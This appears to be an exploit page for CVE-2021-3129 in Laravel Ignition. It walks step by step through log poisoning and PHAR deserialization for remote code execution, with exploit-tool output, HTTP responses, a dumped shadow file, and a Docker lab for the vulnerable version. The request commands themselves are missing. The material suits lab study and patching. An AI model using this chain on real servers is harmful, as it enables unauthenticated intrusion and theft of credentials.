CVE-2021-3129:
Laravel Ignition RCE
Unauthenticated access to /_ignition/execute-solution in Laravel applications running Facade/Ignition ≤ 2.5.1 with APP_DEBUG=true. The MakeViewVariableOptionalSolution class allows controlled file writes through php://filter wrappers. This enables injection of a crafted PHAR into the Laravel log file, triggering deserialization RCE via Monolog gadget chains.
Patched in Ignition ≥ 2.5.2 with stricter view file validation and local-only restrictions in later versions.
Proof of Concepts and Exploits
Below are general examples of techniques, methods, and proof-of-concept approaches used to demonstrate this vulnerability in a controlled environment.
_____ _____ ___ __ ___ _ _____ ___ ___ / __\ \ / / __|_|_ ) \_ ) |__|__ / |_ ) _ \ | (__ \ V /| _|___/ / () / /| |___|_ \ |/ /_, / \___| \_/ |___| /___\__/___|_| |___/_/___|/_/ https://github.com/joshuavanderpoll/CVE-2021-3129 Using PHPGGC: https://github.com/ambionics/phpggc [@] Starting the exploit on "http://127.0.0.1:8000/"... [@] Testing vulnerable URL "http://127.0.0.1:8000/_ignition/execute-solution"... [@] Searching Laravel log file path... [•] Laravel seems to be running on a Linux based machine. [√] Laravel log path: "/src/laravel/storage/logs/laravel.log". [•] Laravel version found: "8.83.29". [•] Use "?" for a list of all available actions. [?] Please enter a command to execute : execute whoami [@] Executing command "whoami"... [@] Generating payload... [√] Generated 29 payloads. [@] Trying chain laravel/rce1 [1/29]... [@] Clearing logs... [@] Causing error in logs... [√] Caused error in logs. [@] Sending payloads... [√] Sent payload. [@] Converting payload... [!] Exploit request returned status code 500. Expected 200. Error: "file_get_contents(): stream filter (convert.quoted-printable-decode): invalid byte sequence" [!] Failed converting payload. [!] Failed execution of payload. Error : file_get_contents(phar:///src/laravel/storage/logs/laravel.log): failed to open stream: internal corruption of phar &quot;/src/laravel/storage/logs/laravel.log&quot; (truncated entry) <snip> [?] Would you like to try the next chain? [Y/N] : y [@] Trying chain laravel/rce12 [11/29]... [@] Clearing logs... [@] Causing error in logs... [√] Caused error in logs. [@] Sending payloads... [√] Sent payload. [@] Converting payload... [√] Converted payload. [√] Output : root ⭐ If this script helped you, consider starring https://github.com/joshuavanderpoll/CVE-2021-3129 ⭐ [√] Working chain found. You have now access to the 'patch' functionality.
Vulnerability Detection and Path Discovery
Trigger a MethodNotAllowed exception with a GET request.
HTTP/1.0 405 Method Not Allowed Host: 127.0.0.1:8000 Date: Mon, 05 Jan 2026 15:20:58 GMT Connection: close X-Powered-By: PHP/7.3.31 allow: POST Cache-Control: no-cache, private date: Mon, 05 Jan 2026 15:20:58 GMT Content-type: text/html; charset=UTF-8
A 405 response with a Laravel stack trace confirms Ignition presence in debug mode.
The stack trace leaks absolute paths.
Symfony\Component\HttpKernel\Exception\MethodNotAllowedHttpException: The GET method is not supported for this route. Supported methods: POST. in file /src/laravel/vendor/laravel/framework/src/Illuminate/Routing/AbstractRouteCollection.php on line 117
#0 /src/laravel/vendor/laravel/framework/src/Illuminate/Routing/AbstractRouteCollection.php(103): Illuminate\Routing\AbstractRouteCollection->methodNotAllowed(Array, 'GET')
#1 /src/laravel/vendor/laravel/framework/src/Illuminate/Routing/AbstractRouteCollection.php(40): Illuminate\Routing\AbstractRouteCollection->getRouteForMethods(Object(Illuminate\Http\Request), Array)
#2 /src/laravel/vendor/laravel/framework/src/Illuminate/Routing/RouteCollection.php(162): Illuminate\Routing\AbstractRouteCollection->handleMatchedRoute(Object(Illuminate\Http\Request), NULL)
#3 /src/laravel/vendor/laravel/framework/src/Illuminate/Routing/Router.php(673): Illuminate\Routing\RouteCollection->match(Object(Illuminate\Http\Request))
#4 /src/laravel/vendor/laravel/framework/src/Illuminate/Routing/Router.php(662): Illuminate\Routing\Router->findRoute(Object(Illuminate\Http\Request))
...
#17 /src/laravel/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(167): Illuminate\Foundation\Http\Middleware\PreventRequestsDuringMaintenance->handle(Object(Illuminate\Http\Request), Object(Closure))
#19 /src/laravel/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(167): Fruitcake\Cors\HandleCors->handle(Object(Illuminate\Http\Request), Object(Closure))
#21 /src/laravel/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(167): Fideloper\Proxy\TrustProxies->handle(Object(Illuminate\Http\Request), Object(Closure))
#22 /src/laravel/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(103): Illuminate\Pipeline\Pipeline->Illuminate\Pipeline\{closure}(Object(Illuminate\Http\Request))
#23 /src/laravel/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(142): Illuminate\Pipeline\Pipeline->then(Object(Closure))
#24 /src/laravel/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(111): Illuminate\Foundation\Http\Kernel->sendRequestThroughRouter(Object(Illuminate\Http\Request))
Extract paths containing /vendor/laravel/framework (Linux) or \vendor\laravel\framework (Windows).
Example leaked path:
/src/laravel/vendor/laravel/framework/src/Illuminate/Routing/AbstractRouteCollection.phpApplication root: /src/laravel
Log path uses forward slashes across OS
Log Clearing
Overwrite the log before injection.
HTTP/1.1 200 OK Host: 127.0.0.1:8000 Date: Mon, 05 Jan 2026 18:27:16 GMT Connection: close X-Powered-By: PHP/7.3.31 Cache-Control: no-cache, private Date: Mon, 05 Jan 2026 18:27:16 GMT Content-Type: text/html; charset=UTF-8
Run twice to force log file creation. Success returns 200 OK.
PHAR Payload Generation
Use Monolog gadget chains from phpggc. Chains rce1 through rce22 cover PHP version differences.
The base64 payload receives additional quoted-printable encoding and UTF conversions during injection.
Clear the log first with the previous provided clear CURL command
Create an alignment entry
HTTP/1.1 500 Internal Server Error Host: 127.0.0.1:8000 Date: Mon, 05 Jan 2026 18:30:44 GMT Connection: close X-Powered-By: PHP/7.3.31 Cache-Control: no-cache, private date: Mon, 05 Jan 2026 18:30:44 GMT Content-Type: text/html; charset=UTF-8
Success returns 500 Internal Server Error. This places "AA" in the log.
Inject the padded payload
HTTP/1.1 500 Internal Server Error Host: 127.0.0.1:8000 Date: Mon, 05 Jan 2026 18:30:44 GMT Connection: close X-Powered-By: PHP/7.3.31 Cache-Control: no-cache, private date: Mon, 05 Jan 2026 18:30:44 GMT Content-Type: text/html; charset=UTF-8
Success returns 500. The encoded PHAR now sits in the log.
Decode the payload in place
HTTP/1.1 200 OK Host: 127.0.0.1:8000 Date: Mon, 05 Jan 2026 18:34:17 GMT Connection: close X-Powered-By: PHP/7.3.31 Cache-Control: no-cache, private Date: Mon, 05 Jan 2026 18:34:17 GMT Content-Type: text/html; charset=UTF-8
Success returns 200 OK.
Trigger deserialization
root:!::0::::: bin:!::0::::: daemon:!::0::::: adm:!::0::::: lp:!::0::::: sync:!::0::::: shutdown:!::0::::: halt:!::0::::: mail:!::0::::: news:!::0::::: uucp:!::0::::: operator:!::0::::: man:!::0::::: postmaster:!::0::::: cron:!::0::::: ftp:!::0::::: sshd:!::0::::: at:!::0::::: squid:!::0::::: xfs:!::0::::: games:!::0::::: cyrus:!::0::::: vpopmail:!::0::::: ntp:!::0::::: smmsp:!::0::::: guest:!::0::::: nobody:!::0::::: www-data:!:18914:0:99999:7::: utmp:!:18914:0:99999:7:::
Command output appears after the closing </html> tag.
If a chain fails, adjust padding (typically 14-16 "A" bytes), verify filters, and ensure error logging triggers.
Docker lab
[+] Building 1.1s (1/2) docker:desktop-linux
[+] Building 3.1s (9/9) FINISHED docker:desktop-linux
=> [internal] load build definition from Dockerfile 0.0s
=> => transferring dockerfile: 649B 0.0s
=> [internal] load metadata for docker.io/library/php:7.3.31-alpine3.14 3.0s
=> [internal] load .dockerignore 0.0s
=> => transferring context: 2B 0.0s
=> [1/5] FROM docker.io/library/php:7.3.31-alpine3.14@sha256:13fbee0fa998d1528f8b3d2b89022858bdf75e7e4d5c9f08d5256e83daa34000 0.0s
=> CACHED [2/5] RUN php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');" && php composer-setup.php && php -r "unlink('composer-setup.php');" && mv composer.phar /usr/loc 0.0s
=> CACHED [3/5] RUN composer create-project --prefer-dist laravel/laravel /src/laravel "8.4.2" 0.0s
=> CACHED [4/5] WORKDIR /src/laravel 0.0s
=> CACHED [5/5] RUN composer config audit.block-insecure false && composer require --dev facade/ignition==2.5.1 0.0s
=> exporting to image 0.0s
=> => exporting layers 0.0s
=> => writing image sha256:81ff630edd439417fc1b4332e8009fbc60fe5f40cd445a1b1108762c3abfe0e1 0.0s
=> => naming to docker.io/library/laravel_vulnerable 0.0s
View build details: docker-desktop://dashboard/build/desktop-linux/desktop-linux/q4e4w037mk6pi4b5bc587rfer
PHP 7.3.31 Development Server started at Sat Feb 21 15:31:25 2026 Listening on http://0.0.0.0:8000
9.8
Critical risk
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Compexity
low
Privileges
none
Authentication
none
Affected
>= 2.5.0, < 2.5.2, >= 2.0.0, < 2.4.2, >= 1.7.0, < 1.16.14, < 1.6.15
Patched
2.5.2, 2.4.2, 1.16.14, 1.6.15